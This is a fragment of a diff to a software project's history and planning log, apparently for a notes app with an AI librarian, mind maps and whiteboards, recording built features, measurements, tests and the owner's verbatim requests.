+  hour, Tonight, Tomorrow or Next week), on the Library's note and document
+  cards and the boards' card menu. Undo of a deleted reminder keeps the
+  document.
+- Show in graph on a document's card (`showDocumentInGraph`: turns the

+- Notes' unlinked mentions: found built (GRAPH_PLAN KG1, `routes_mentions`).
+- Word count and reading time on a note: the edit form's meta row
+  (`.note-edit-counts`), live as you type, the properties block left out, at

+- Template variables, for the note templates a person writes (Settings,
+  Templates): `{date}` or `{{date}}`, `{{time}}`, `{{clipboard}}` (read when

+- From a selection: Move to space (`POST /spaces/{id}/move-notes`: the

+  reminders and fade scores and the links between moved notes move with
+  them; Undo sends each back where it was) and Export as Markdown
+  (`GET /export/markdown?ids=`, the whole export's files for those notes).
+- The bin for documents and reminders: `deleted_at` on both (migration
+  b7e3d1a9c5f2); `DELETE` bins, `POST .../restore` brings back the same row,
+  `DELETE .../purge` (a binned one only, 409 otherwise) destroys it with what
+  points at it (`entry/bin.purge_document`). One rule hides a binned row from
+  every ORM read (`core/database._hide_binned`); the bin's own routes, a
+  space's delete and the bin listing read them with `including_binned`. The
+  Library's bin lists them by `subtype`, its menus, Open and bulk Restore and
+  Delete use `binRoutes`; Empty the bin and the auto-clear take them too. The
+  documents' and reminders' Undo restores rather than re-creating (a new id
+  and a lost history, before). Search drops a binned one until restored.

+
+### Row 11, section 17: the original vision's open rows
+
+`api/routes_vision.py` holds the server half of all of them.
+
+1. **Review queue.** A note waits when nobody has settled its filing and
+   Atlas was under 60% sure or it is in Uncategorised (`review_filter`; the
+   page's `noteNeedsReview` is the same rule). `GET /review-queue` gives the
+   count and the ids; `POST /review-queue/{id}/accept` makes the filing the
+   person's. The Notes box takes `is:review`; a note's ⋯ has Accept the
+   filing when it is waiting; the dashboard's Filings to check widget counts
+   them and opens the filter; the bell says so once a week past five. Split
+   per row was not built: no note has a split action anywhere.
+2. **Tidy proposals.** `GET /tidy-proposals`: merges for category names
+   alike (a 0.84 ratio over the names with plurals folded) or alike in
+   meaning (0.92 cosine of the names, when the search engine is ready), the
+   busier keeping its notes, a category a person renamed never merged away,
+   a pair answered "Not these" never proposed again
+   (`POST /tidy-proposals/dismiss`, the `category_tidy_dismissed`
+   preference); removals for categories empty and older than thirty days. In
+   the Manage categories panel, where the look-alike merges already were
+   (INBOX 504), not Settings: Merge and Remove are the panel's own actions.
+3. **Filing style.** Settings, AI: by topic (the default, the prompt
+   unchanged), by project or by time, each with three examples, added to the
+   filing prompt (`librarian.FILING_STYLES`, the `filing_style` preference).
+4. **Charts from questions.** `POST /charts/question` reads a counting or
+   trend question with no model (`parse_chart_question`: per category, tag,
+   day, week, month or year; today, this or last week, month or year, the
+   last N days, a named month, a year) and counts live notes from the
+   records. The Ask box draws it above the answer (`renderAskChart`,
+   ask-chart.js, in the Ask history's lazy bundle): bars or a line from the
+   theme's tokens, the numbers in a table under it, Save as PNG. DESIGN.md
+   has the recipe.
+5. **Most opened this month.** `EntryOpen`, a row per note per day
+   (migration c2f8a6d4e9b1), counted on every open of a note;
+   `GET /most-opened` gives the ten opened most in thirty days; the
+   dashboard's Most opened this month widget.
+6. **Explain this note.** A note's ⋯: its words, then each note it links to
+   with the link's reason (or that none was given), read aloud with the
+   browser's voices and shown in a sheet; works with the model off.
+
+Measured: `tests/test_vision_rows_row11.py`. Not verified: a real local
+model filing under each style; the chart's PNG opened outside the app.

+## Moved from the plans, 2026-10-05 (MINDMAP_PLAN §12.1 closed, op5)
+
+Found built or decided, each checked in the code on 2026-10-05 (op5):
+
+- **Item 1, the map toolbar's menus**: superseded by §12.5's three surfaces
+  (ring, strip, dock) and decisions 16, 21, 25 and 33. Style is the View
+  menu's "How this map looks" (decision 10), Present is "Present branches"
+  (decision 21), Export is the board export dialog's three map formats,
+  layout and Tidy are the top bar's picker, Insert is decision 5's "nothing
+  added to the canvas". `mapviewmenu.js` 8/8 at 1440 (433px, 20 rows, under
+  the 450px ceiling).
+- **Line thickness**: built as `edge_width` (thin, normal, thick) in the
+  strip's line group (`WB_MAP_EDGE_WEIGHTS`, `mapline.js`).
+- **Comment on a node**: built (WHITEBOARD_PLAN decision 17).
+- **Shift+drag to sever**: not built on purpose; sever is on the ring and the
+  topic menu ("Cut this topic free of its parent", `wbMapSever`), and the
+  drag gesture belongs to drag-to-transplant.
+- **§12.2 item 3, relationships**: built as §13c's cross-link (arrow, label,
+  curve, dashed in the map's ink).
+- **The dashboard widget's tall-map sliver** (INBOX, 2026-09-09 evening
+  batch): built as decision 30 (`d873a3f`, `DASH_MAP_FEATURE` in
+  dash-boards.js: 96 to 168px for six topics or fewer, 320px otherwise).
+
+The text as it stood in the plan:
+
+#### MINDMAP_PLAN §12.1 Phase 6a, the controls (1 session)
+
+1. **The map toolbar** (replaces the whiteboard rail on a map): Add
+   topic, Add sub-topic, Add sibling, Delete, Collapse/Expand branch,
+   Layout ▾, Style ▾ (theme, branch colours, line style), Insert ▾ (note
+   card, image, link, icon, boundary, summary, relationship), Arrange
+   (auto, tidy siblings, centre root), Focus, Present, Export ▾, and the
+   undo pair; seven visible at most, the rest in ▾ menus, per the dock
+   grammar. **Part of this is built**: the board-only sections (draw,
+   shapes, the free adds) are hidden on a map and the map's own Topic and
+   Branch sections carry add topic, add child, add sibling, collapse,
+   branch colour and focus; the layout picker and Tidy are still in the
+   top bar, and the Style, Insert, Arrange, Present and Export menus are
+   not written. See `archive/agent-remaining/mindmap.md` for the measured numbers
+   and the rest of the list.
+2 to 9. **Built, 2026-09-12**: the node edit strip, the node radial, the
+   link radial, the mid-line add, the text-size grip, uncollapse, drag to
+   transplant and sever. Moved whole to HISTORY.md ("Moved from the plans,
+   2026-09-12", MINDMAP_PLAN.md §12.1 items 2 to 9); a plan holds open work
+   only. What is left of those eight, with the reason each was left:
+
+   - **An image in a node** (item 2's fourth) and **the control points on a
+     curve drag to reshape it** (item 5's third) were both built on
+     2026-09-21. Moved to HISTORY.md ("Moved from the plans, 2026-09-21",
+     MINDMAP_PLAN.md §12.1 items 2 and 5): a picture is `data.image`, a
+     `/media/upload` url, drawn as a second node shape (`data-body="picture"`,
+     measured 182x102 inside a 200x138 card, 12/12 in
+     `scratchpad/ui-sweeps/mindmapimage.js`); a bend is `edge_bend` and
+     `edge_slide` on the child, two fractions of the line's own length, with a
+     handle measured 0.2 to 0.4 board units off the path for all three line
+     shapes (14/14 in `scratchpad/ui-sweeps/mindmapcurve.js`).
+   - **Comment on a node** (item 3's sixth) is §12.2 item 6 and belongs
+     there, not here.
+   - **Line thickness** (item 4's "style") was not built: the three shapes
+     and the dash carry the distinction, and a fourth axis on a 2px line is
+     a setting nobody can see.
+   - **Shift+drag off a node to sever** (item 9's second gesture). Sever is
+     on both rings; the drag gesture would collide with drag-to-transplant,
+     which took the same pointer.
+
+Gate: every action reachable by strip, radial and key (mindmap.js counts
+the three routes per action); an empty map recreates a root; 0 console
+errors; export/import round-trip of a map using every feature.
+
+**The gate's round-trip half is met** (2026-09-12, sixth run): everything the
+strip and the two rings write is in the FreeMind and OPML exports and comes
+back through both imports, and the two rings stay inside the canvas at any
+viewport. The account, including which field each format has an honest home
+for and which ride as private attributes, is in HISTORY.md ("Moved from the
+plans, 2026-09-12", "what the sixth run closed behind items 2 to 9"). What is
+still open of §12.1 is item 1's four dock menus and the three sub-items above
+that are still open (the comment, which belongs to §12.2, line thickness, and
+the shift-drag sever).
+**Node shape is built too** (2026-09-12, same run): four shapes, decided in
+§12.0 and recorded in HISTORY with the rest.
+
+- "the boards and maps dashboard widget is ugly and needs fixing". Most of
+  what made it so is fixed (one renderer with the Library's card, a fixed
+  72x40 landscape box, no box-in-a-box, rows 51px, the body not scrolling:
+  measured 2026-10-04, 340x333 at 1440). What is left, measured: a tall map
+  draws its paper at the board's own shape (`mapPreview`'s rule, "the paper
+  is the board"), so a 25-topic tree-right map is a **20x40 sliver** in the
+  72x40 box and a 7-topic one 25x40, about a third of the box with the rest
+  empty to its left and right. Whether a row thumbnail may crop a tall map to
+  the box (breaking that rule) or the box goes square is a judgement for the
+  owner, not a measurement.
+
+## Moved from the plans, 2026-10-05 (MINDMAP_PLAN §12.2 items 7 and 10, op5)
+
+The plan's text: "7. **Multiple roots and floating topics**; **auto-colour by
+branch** as the default theme with eight curated palettes." and "10.
+**Export**: PNG at 2x with the theme, PDF, SVG, FreeMind .mm, OPML, Markdown
+outline, plain-text outline; **import** by drop of .mm, .opml, .txt outline
+or Markdown, and from XMind's .xmind (its content.json) read-only."
+
+- **Multiple roots and floating topics** were built (`wbMapAddRootAt`, a
+  double-click or the canvas menu's "Add a topic here"; `wbMapSever`).
+- **Eight palettes**: four added to `MAP_BRANCH_PALETTES` (Bold: Set1 less its
+  yellow; Paired less its pale green; Bright: Observable10; Earth: the dark
+  ends of BrBG, PRGn and PiYG), each colour at least 1.6:1 on white.
+  `tests/test_map_theme_palette.py` pins eight, the picker's names against
+  the server's, and the contrast.
+- **Plain-text outline out** (`format=text`, `_export_text`): one topic per
+  line, a tab per level, no title, bullets, numbers, boxes or notes; the
+  export dialog's "Plain text" and the palette's "Export as plain text".
+- **.txt in** (`format: "text"`): read the way a paste is (decision 29), the
+  file's name sent as the map's name, a single top line naming it otherwise.
+- **Import by drop**: an outline file let go on the boards landing
+  (`#wb-boards-landing`) imports as the Import picker does.
+- PNG at 2x, PDF, SVG, FreeMind, OPML, Markdown and XMind were already built.
+
+Measured: `tests/test_mindmap.py` (the 101-topic map round-trips through
+text; a hand-written outline with spaces, a numbered line and a bullet);
+`scratchpad/ui-sweeps/op5-1005.js` MODE=mapio 8/8 at 1440 and 390, light and
+dark (eight palettes in the look dialog, Plain text in the export dialog
+inside the window, the palette row, the tabbed round trip, a dropped .txt
+imported and opened; the drop fails on the base, which has no handler).
+Not verified: a real file dragged from a desktop file manager (the sweep
+dispatches the DragEvent).
+
+## Moved from the plans, 2026-10-05 (the whiteboard file's off-band widths, op5)
+
+UI_MODERNISATION_PLAN Phase 9's last ten off-band queries, all in
+07-whiteboard-misc.css and 06-timeline-dialogs.css, moved to 819.98/820 and
+their allowances taken out of `tests/test_breakpoints.py` (the 720, 640 and
+900 groups are empty):
+
+- The full-screen document's prose and sidebar panels (719.98 x2, 720 x2):
+  over the page below 820, beside it from 820 (the sidebar is an edge sheet
+  below 820 anyway).
+- The board's navigator hidden (719.98): below 820.
+- Settings' label row and section select (640 x2): below 820; no section
+  scrolls sideways at 600, 640, 700 or 819 (General, Models, Appearance,
+  Tasks).
+- The board's tool dock taking the bottom edge and the top bar's search and
+  overview toggles (40rem x3): below 820. **This fixed a bug on the way**:
+  between 641 and 819 the tool dock and the zoom cluster overlapped,
+  6,841px² at 680, 719, 760 and 819 on the base, 0 after; the top bar is one
+  row (54px) from 680 where it was two (104px) up to 760.
+
+Measured: `scratchpad/ui-sweeps/op5-1005.js` MODE=bands, 25/25 light and
+dark (a map at 600, 640, 680, 719, 760, 819, 820, 900; Settings at four
+widths), against 17/24 on the base. Not verified: documents' focus mode
+between 720 and 819 (reasoned from the rules: the panels now cover the page
+there, as they did below 720).
+
+## Moved from the plans, 2026-10-05 (placed blocks found built, op5)
+
+Checked on the head 2026-10-05 (op5): MINDMAP_PLAN's 2026-09-13 block (177,
+part) is built item by item, as it says. WHITEBOARD_PLAN's evening batch:
+the Arrange menu's labelled rows are in the markup ("Distribute and size");
+the View menu's height is measured, `mapviewmenu.js` 8/8 at 1440 (433px on a
+map, 373px on a board, under the 450px ceiling); the 422 on
+`POST /whiteboard/nodes` is answered at the drop (`whiteboard.js`, "Only a
+note id may be dropped here": a toast that says what failed, no request).
+
+### From MINDMAP_PLAN.md
+
+#### Placed from INBOX, 2026-09-13
+
+177 (part). **Node styling this plan does not yet cover** (the owner, with
+Coggle captures). Built already: the radial ring's visibility, 3px branches
+with an arrowhead, the "Aa" grip's placement, topics as link-tool
+candidates. Placed here:
+
+- **Core nodes**: built. The strip's crown writes `core` on the node and the
+  shape picker gained `ellipse`. Measured, `scratchpad/ui-sweeps/mapcore.js`,
+  10/10 at 1440 light, 1440 dark and 390x844: the spine goes 4px to 6px, the
+  outline 1px to 2px and the type 400 to 600 against a plain sibling, the
+  ellipse computes a 50% radius with centred text, and the round trip through
+  `/whiteboard/boards/<id>/tree` keeps `core` (the `WhiteboardObjectData`
+  drop trap). The strip is 540px in a 1408px canvas at 1440 and wraps to
+  348x102 in 364px at 390.
+- **Per-node left edge**: built. The strip's second picker writes `spine`
+  (`dashed`, `none`, absent for solid). Measured,
+  `scratchpad/ui-sweeps/mapspine.js`, 9/9 at 1440 light, 1440 dark and
+  390x844: 4px solid to 4px dashed to a 1px hairline at the same 55% alpha
+  the other three sides carry, the label moving 3px with it; the choice beats
+  a core node's 6px bar (6px to 1px) and the node stays core; a plain topic,
+  whose box is transparent on purpose, is untouched (4px, label at the same
+  x); downward the choice is on the top edge instead. A server restart was
+  needed for the round trip to pass: the field is dropped by a stale process,
+  which is the `WhiteboardObjectData` trap wearing its other hat.
+- **Connection line styles**: built. `edge_width` (`thin`, `thick`) and
+  `edge_arrow` (`on`, `off`) join `edge_dashed` on the child, and all three
+  are in the strip's line group, which a trunk is not shown. Measured,
+  `scratchpad/ui-sweeps/mapline.js`, 13/13 at 1440 light, 1440 dark and
+  390x844: the ribbon goes 6.5 units at the parent to 11 thick and 3.6 thin
+  while its sibling stays 6.5, the stroked shapes 3px to 5.1px, a head added
+  to a ribbon takes its path from 50 to 53 points and its far end from 3.4 to
+  11.5 units, a head comes off a stroked line as `marker-end: none`, and all
+  three survive the round trip. The line group measures 0px on a trunk and
+  1/117/28/28px on a child. The strip is now 853px inside a 1408px canvas at
+  1440 and wraps to 348x150 inside 364px at 390.
+- **Resize a topic**: built, commit `3c9b874`. Measured,
+  `scratchpad/ui-sweeps/mapresize.js`: 170x44 dragged to 290x100, stored as
+  `width` 290 / `height` 100 / `sized` true, still 290x100 after a tidy.
+
+Each becomes a phase row when its phase is written; until then this list is
+the phase.

+  `entry_id: Input should be a valid integer, input: null`, and the app
+  logged "Error creating node: {}". A node created with no backing entry
+  sends null where the schema wants an int. Two halves: the schema should

+
+## Moved from the plans, 2026-10-05 (study the map, op5)
+
+MINDMAP_PLAN §12.3 item 5, as the plan had it: "**Study mode**: hide all but
+the root, reveal a branch at a time, with a "recall" prompt before revealing
+(the note's own text is the answer); progress stored per map." Built as
+decision 36: the board menu's Study the map and the palette's row; the
+presenting shell with Show, Knew it and Not yet in its bar; the questions and
+the tally in a node-tested region of whiteboard-map.js
+(`wbMapStudyQuestions`, `wbMapStudyTally`, `tests/test_map_study.py`, 4
+tests); the marks in local storage per map. Measured on the 40-topic map the
+gate asked for, `scratchpad/ui-sweeps/op5-1005.js` MODE=study, 8/8 at 1440
+and 390, light and dark: 7 of 40 topics drawn while asking, Enter draws
+Branch 1's six leaves and no other branch's, Knew it moves on, six marks kept
+(3 and 3), the map whole (40) after. The View menu stays at 433px
+(`mapviewmenu.js` 8/8; the row there took it to 474px, so it went to the
+board menu). The Guide has its own topic (`mind-map-study`). Not built: the
+note behind a topic as the answer.
+
+## Moved from the plans, 2026-10-05 (276, op5)
+
+WHITEBOARD_PLAN 276's recommendation taken (standing order 3): 820 with Large
+text and Spacious density together lets the sketch pad's bar take two rows,
+and the sweep says so (`sketchbar.js`: `twoRowsAllowed`, that one
+combination at 820 to 1023); every other combination stays one row. Measured
+2026-10-05: PASS in all 16 combinations, 820/large+spacious `rows=2` (684px
+of content in 684), the other three at 820 `rows=1`. The block as it stood:
+
+276. **The sketch pad's toolbar wraps to two rows at 820 on Large text**, and
+    has since before this session: `scratchpad/ui-sweeps/sketchbar.js` reports
+    `rows=2` at 820/large-text (content 712 of an inner 714) and at
+    820/large+spacious (688 of 690), while 820/default and 820/spacious are
+    one row. The Canvas group is the one that drops. Found while giving the
+    ink dots a finger-sized target (the same sweep), not caused by it: the
+    dots only change below 820. Recommendation: the bar is five groups and
+    Large text buys their labels about 10px each, so the cheapest honest fix
+    is the group labels, not the controls: hide `.wb-tool-section-label`
+    below 1024 the way the phone band already hides other labels, and
+    re-measure; it is worth about 60px, which is more than the 2px the wrap
+    is short by. Owner: whoever next opens the pad's bar.
+    **Re-measured 2026-10-04, and the recommendation would buy nothing.** The
+    labels sit *above* their rows (a section is a column), and every label is
+    narrower than its row at 820 on Large text (Draw 37 over 104, Shapes 52
+    over 176, Ink 22 over 153, Size 29 over 97, Canvas 51 over 176), so hiding
+    them takes height, not width. The rows alone are 706px plus four 4.5px
+    separators, 724px, in a 705px inner bar: 19px short, still `rows=2` in
+    `sketchbar.js`. The width is in the rows: the Ink dots' gaps (6 x 5px at
+    Large text) and the Size slider's fixed 3rem are the two places with
+    room. **Half done the same day**: between 600 and 1023px the dots drop
+    their gap (a dot's own 2px transparent ring keeps the discs 4px apart), and
+    820 on Large text is one row (`sketchbar.js` 2 findings to 1; 1024 and
+    1440 unchanged). **Still open: 820 on Large text with Spacious density**,
+    41px short (rows 701px plus four 6px separators in a 684px inner bar), more
+    than the slider (about 9px) and the separators (24px) could give together.
+    Recommendation: let that one combination take two rows, and say so in the
+    sweep, rather than shrink 44px targets.
+
+## Moved from the plans, 2026-10-05 (due dates, op5)
+
+MINDMAP_PLAN §12.2 item 4's "due date (a reminder can be created from it)",
+built as decision 37: `due` on the node data model (a checked day), in
+`MAP_STYLE_FIELDS`, `MAP_CONTENT_FIELDS` and both XML formats' private maps
+(`_due`); the client's marker parts, words, row and filter key, and the
+Markers popover's Due row with Clear and Remind me. Measured:
+`tests/test_mindmap.py::test_a_due_date_is_a_marker_checked_kept_and_carried`
+(a day and nothing else accepted, both XML round trips, Markdown silent, a
+look reset keeps it); `scratchpad/ui-sweeps/op5-1005.js` MODE=due, 5/5 at
+1440 and 390, light and dark: a day to come drawn in the ink (17.07:1 light,
+14.01:1 dark), a day gone in the error ink (6.98:1, 6.96:1; the branch colour
+the glyphs take read 3.67:1 on the dark board, so the words do not take it),
+Remind me on a day gone makes nothing, on a day to come one reminder at 9:00.
+Not verified: the date field's own picker on a touch keyboard.
+
+## Moved from the plans, 2026-10-05 (MINDMAP_PLAN §14, mc1)
+
+INBOX 641's map-node part and INBOX 642, built by the mc1 agent; decisions 38
+to 47 stay in MINDMAP_PLAN §14.3, WHITEBOARD_PLAN decision 37.
+
+### Measured before (§14.1)
+
+`scratchpad/ui-sweeps/mc1-mapcore-audit.js`, a map of a centre, two branches
+and three leaves at 1440:
+
+| | Centre | Main branch | Leaf |
+| --- | --- | --- | --- |
+| Text size | 13.6px | 13.6px | 13.6px |
+| Weight | 400 | 400 | 400 |
+| Corner radius | 4.8px | 4.8px | 4.8px |
+| Height | 31px | 31px | 31px |
+| Fill | the card | the card | the card |
+
+**The centre, a main branch and a leaf are drawn identically.** Nothing in
+`wbPaintMapNode` knows a topic's depth: the only hierarchy on screen is the
+branch colour, and the root has none of its own (`--accent`). Enter on the
+centre adds a second free root, not a main branch. The theme (§13e) is one
+set of values for every topic; a person who wants a bigger centre sets it by
+hand, one topic, and every new map starts flat again.
+
+**Icons:** a topic's icon is one of 11 Phosphor glyphs in the Text menu
+(`#wb-map-strip-icon`); 1,530 ship in the vendored font. No emoji anywhere
+in a map. The board's Library has an Icons set (all 1,530, as vector paths,
+`board-library/icons.json`), shown only on a board (`wbLibFits` gives a map
+branches and templates, 0 tiles otherwise). The document editor completes 248
+`:shortcode:` emoji as you type (`DOC_EMOJI_SOURCE`); the note editor, both
+formatting toolbars and the "/" menu offer no emoji or icon at all.
+**Copy and paste style** (Ctrl+Alt+C and V) exists for shapes and text boxes
+and refuses a topic ("Select a shape, link or text box first").
+
+### The phases, all built
+
+- **14a** the levels: `wbMapLevels`, `data-level`, the four presets, the
+  Centre's Enter, solid fill as a topic value. Gate: the audit sweep reads
+  three different sizes and weights for centre, branch and leaf; Flat reads
+  them equal; an existing theme's size still reaches the leaves.
+- **14b** the level styles and the theme dialog's level switch, Redefine,
+  copy and paste style for topics; each one Undo step. Gate: a sweep sets a
+  level's look, a topic's own look beats it, Undo puts it back.
+- **14c** the picker module and the map's icon slot (More icons in the Text
+  menu). Gate: search, Recent, arrows and Enter measured; an emoji and an
+  icon set on a topic; boot budget unchanged.
+- **14d** stickers on the board and the map, drop onto a topic. Gate: a
+  drop measured as one object, one Undo step.
+- **14e** the editors: the toolbars, the Insert menu, the "/" row, the
+  `:ph-name:` reading. Gate: a note and a document each get an emoji and an
+  icon, the reading view draws the glyph.
+
+### Built (commits on claude/notes-flow-rebuild via mc1)
+
+- 14a 08d5829: `wbMapLevels`, `data-level`, the four presets, Solid fill, the
+  centre's Enter. `mc1-maplevels.js` 13/13: centre 22px/700 solid pill (ink
+  5.9:1), branch 17px/700 tinted, leaf 13.6px/400; Flat equal; a map-wide 12px
+  reaches the leaves and keeps the centre at 22.
+- 14b 8eb7dc8: the dialog's level switch (seven rows a level, 507px tall at
+  1440x900), Use this look for its level, copy and paste style on topics, each
+  one Undo step. `mc1-maplook.js` 13/13; `maptheme.js` all pass.
+- 14c 94b8b70: `icon-picker.js` and `icon-picker.css`, fetched on first use by
+  `pickIconOrEmoji` (editor.js; app.js sat at its gzip ratchet), 1,530 Phosphor
+  icons and 476 emoji, the topic icon slot takes an emoji.
+  `mc1-iconpicker.js` 12/12 (384x512 panel, search, Recent, arrows, Escape).
+- 14d bb806e8: stickers by drop or Insert, Emoji and icons…; on a topic, its
+  icon. `mc1-stickers.js` 8/8 (sticker 96px box, glyph 69px, no card).
+- 14e 87241de: the note toolbar, the document's Insert menu and the "/" menu;
+  `:ph-name:` drawn in reading, words inside code. `mc1-editoricons.js` 7/7.
+## INBOX resolved, 2026-10-06
+
+650. **The owner, 2026-10-05, verbatim.** "Can you also update the small
+     miniature atlas male and female avatar icons that go in the corner of
+     chat bubbles?? They aren't up to date and they look like aliens" Placed:
+     the next Opus slot (`assistantAvatar` in chat-agent.js draws
+     `atlasDraw(size)` under 28px, not the current `atlasAvatar` look).
+     **Fixed 8f6a7cd.** The tiny level is a miniature bust: the head mark's
+     hair, cap and fringe, iris eyes, ears, neck and shoulders, both looks;
+     measured (atlasmini650.js/.py, 20px): eye against skin 3.7 to 11.2:1 at

+660. **The owner, 2026-10-05, verbatim.** "also I want to be able to drag
+     elements on the whiteboard and mindmap onto a popup delete button to
+     delete them" Placed: the next Opus slot, with 650 and 656: a delete
+     target that appears while an item is dragged (board and map), drop
+     deletes with Undo and a toast, Escape cancels.
+     **Fixed 2de4225.** `wbTrashTake` on the three item drags; measured
+     (wbtrash660.js): 39/39 at 1440 and 390, light and dark, 30/30 by touch:
+     card, box, shape, map topic with its branch and a three-item selection
+     each one Undo step that restores the board identically; a drop
+     elsewhere moves, Escape puts back; target 166x33 (44 tall at 390),
+     centred, 64px above the canvas foot.
+656. **The owner, 2026-10-05, verbatim, with a screenshot of the status bar's
+     hollow-circle AI dot and its "Notebook ready · chat AI off" card.** "can
+     the no ai available ai status icon be better??" Placed: the next Opus
+     slot, with 650 (the avatars): a glyph that says "AI off, notebook fine",
+     not an empty ring.
+     **Fixed 82ce01c.** The AI sparkle with a slash (`aiOffGlyph`), neutral
+     grey on the chip, same card; measured (aioff656.js/.py): 14px glyph
+     centred to the pixel in the 28px and 44px dot, 5.33:1 light, 6.86:1 dark.
+
+648. **The owner, 2026-10-05, verbatim.** "Make sure you finish everything that
+     is left except for the large backlog, work toast and token efficiently.
+     Polish all the small things that make the app feel more professional and
+     reliable. For ma the largest things that make me not want to use an app
+     are ui issues, loss of work to data with no way to retrieve or undo it,
+     poor usability and learnability, and features that don't work how they
+     should. The small things pile up and then I don't want to put my time and
+     effort into actually using the application. I don't want this to happen.
+     I want to be able to use it without worry like a professional
+     application, I want a satisfying experience and the same for my friends

+     ever grace the planet even if no ai model is available. And I was
+     wondering if we should rename the write with atlas/ai subtab to the

+     per flow, no unrecoverable loss (undo, trash or confirm; unsaved edits
+     survive a tab switch, reload and restart), every flow with no model
+     configured, and learnability (labels, tooltips, empty states). Decision
+     taken on the rename: the sub-tab is "Writing room" (built this commit;
+     the panel id was already `writing-room`, the Guide still answers to
+     "write with atlas").
+     **Fixed ab7d7b2, 8d0aec9, 5d2faa6, 430da2e, 24107d3, fc1e1a7.** Measured
+     (agent-remaining/e2e-1005.md): every flow in the inventory driven end to
+     end with no model, 49 Playwright tests passed with no retries in 3.5 min
+     (tests-e2e/specs, now all in CI's E2E job); unsaved work: the capture
+     draft, the note form's edit and a document's last words survive a
+     confirmed reload (notes.spec.js, documents.spec.js); the no-model crawl
+     (`scratchpad/ui-sweeps/e2e648-crawl.js`) made 187 presses on 11 surfaces
+     with no page error, no 5xx, no spinner left and no press that changed
+     nothing; every empty tab says what goes there, with a button to start.
+
+645. **The owner, 2026-10-05, verbatim.** "Once everything is done, update the

+     when it's ready to merge, before that do a final scan for bugs, security

+     close-out, in this order once 640, 642 and the buildable items land
+     (641's remainder, 643, 644 and 646 went to the next PR, ROADMAP top):
+     fresh README screenshots (`docs/screenshots/`; **built**: all 22 retaken in dark from the showcase notebook with `readmeshots.js`, each under 400 KB, none with a toast, skeleton or open dialog), an Opus agent rebuilding
+     `docs/index.html` as a static landing page (no fetch of repo docs, links
+     out to GitHub instead; **built bdbad35**: one self-contained page, no
+     request beyond its own screenshots, no overflow at 320 to 1920, text
+     4.5:1 or better in light and dark, `tests/test_docs_site.py` pins it), a documentation correctness pass (**built**: README, INSTALL, MODELS, PRIVACY, SECURITY, TROUBLESHOOTING, ARCHITECTURE, CONTRIBUTING, RELEASING and DESIGN checked against the code, 2026-10-06), version 0.4.0
+     and its CHANGELOG section, a final bug, security, CodeQL and CI scan,
+     then the PR title and description, then the owner is told it is ready.
+     **Fixed 2026-10-06.** Every step built: screenshots, the static landing
+     page, the docs pass, 0.4.0 with release notes, the final scan

-     Placed: ~~(a) palette notes (verify: notes should appear; if not, bug)
-     and (b) mind map node fill, canvas and export background colour: one
-     Sonnet agent~~ **done 2026-09-27**: both already existed and worked
-     (verified live in Chromium against a real palette search and a real
-     mind map), no feature code changed; regression tests added
-     (`tests/test_palette_contract.py`, `tests/test_export_paint.py`).
-     Left, from the same report: (b)'s discoverability (the owner asked
-     without knowing they exist, so the controls need better labels/help,
-     placed below as its own item) and companion motion. (c) companion
-     motion first (transitions, glide, secondary motion on hair, tails and

-     Addenda the same afternoon, verbatim where quoted, all placed with the
-     two companion agents: the top-bar peek; locomotion by distance (walk,
-     hop or fly near, portal far: "It is a companion, not a fake soulless
-     construct"); a smoother bust; a slight body tilt left or right; the
-     sleepy face in both looks, "z" emotes and a night cap; close-range

-     wandering; lying down to sleep and masculine and feminine body
-     language; rotating per-persona thinking words beside the typing dots
-     (the Sonnet agent, lists written by the orchestrator).
-     (e) Categories: "there needs to be a better, easier and more accessible
-     and learnable way to edit categories like with merging them, splitting
-     them, moving notes between them etc. accessible from the notes tab, and
-     settings. maybe an access menu or panel cna be used from the your notes
-     subtab and/or sidebar??" Exists today: rename (onto an existing name it
-     merges) and delete, from the sidebar menu (`renameCategory`,
-     routes_categories.py PUT/DELETE). Missing: an explicit merge, a split,
-     moving notes between categories, and one place to do all of it.
-     Recommendation, taken: one "Manage categories" panel (the sheet recipe),
-     opened from the sidebar head, each category's menu and Settings; a
-     row per category with count, rename, merge into, split (pick notes or
-     let the AI propose), delete with a destination; notes dragged or
-     multi-selected across; every action undoable. Next free Opus slot.
-     The owner, straight after: "I should say manually edit. the user needs
-     to be able to easily do anything the ai can do". So the panel is part
-     of a parity rule: every write tool the agent has (WRITE_TOOLS and
-     tools/categories.py: create, rename, merge and delete category; create,
-     edit, tag, pin, link, unlink, delete and restore note; reminders; rename
-     and delete tag; documents; whiteboard cards and links; mind map nodes)
-     gets an audited, discoverable manual path, each gap fixed, and a lint
-     that fails when a new write tool has no named UI entry point.
-     **Built 2026-09-27** (e): the Manage categories panel and routes
-     (create, merge, split, proposed split, move, delete into), and the
-     parity lint, `tests/test_manual_parity.py`, naming the manual path of
-     every write tool. Left: the proposed split groups by tags; an AI
-     proposal would need the model.
-     (f) The owner, with a screenshot of the Documents AI assistant dialog:
-     "I actually reallly like the design of the document editor's ai
-     assistant popup panel. especially with the design of the close,
-     history,a nd tooltip buttons. idm the edit/write/remove pill either.
-     the suggest an edit button is fine to." Placed: DESIGN.md's recipe
-     index now names it the reference dialog head; every modal and popup
-     head is brought to it, with a ratchet lint (the Sonnet agent, after
-     the thinking words).
-     (g) The owner: "remake and retake the screenshots for the readme file,
-     update the atlas section with a short intro, title, headline and short
-     description and accompanying image with an expression or mood. take the
-     screenshots in dark mode but maybe have a dark/light comparison image.

-     probably go behind the top bar like the thing it is perched on not in
-     front of it. If say it is stitting on or perched on an element like the
-     top bar, then it would be in front yk?? It's still really confusing to
-     use the built in embedding model because half the time I can't tell if
-     it is working or how well... also the fit drag mini fit map on the
-     whiteboard and mindmap is reallllly glitchy and laggy. The Popup agent
-     has been unable to answer multiple prompts as well and it's really
-     worrying. The whole process of filing, creating, editing, refining,
-     managing, tagging, recategorising notes and more anywhere, especially in
-     the main sections needs to be wayyy more fast, intuitive, guided,
-     assisted, automated, easy manually, and smooth to use." And: "there have
-     obviously been a lot of bugs that have been missed if something as big
-     as filing a note was very broken so I'm worried."
-     Same day, also open: the graph's default layout "looks messy and is
-     distributed wierdly"; the slash menu's Link card and Web link render the
-     same on a line of their own (a lone link is a card, CHAT_PLAN decision
-     12; recommendation: Web link on an empty line inserts inline syntax the
-     card rule skips, owner to confirm); a toggle in the note edit form's
-     preview reportedly exits preview (not reproduced in Chromium, capture's
-     half fixed in 31d5460).
-     Done the same day (commits 3d493ac to 2b721bd): capture preview and
-     gutter, spinner under reduced motion, one-tab picker strip, unread-dot
-     gap, popup agent "(no answer)" reasons and waiting line, Ask waiting
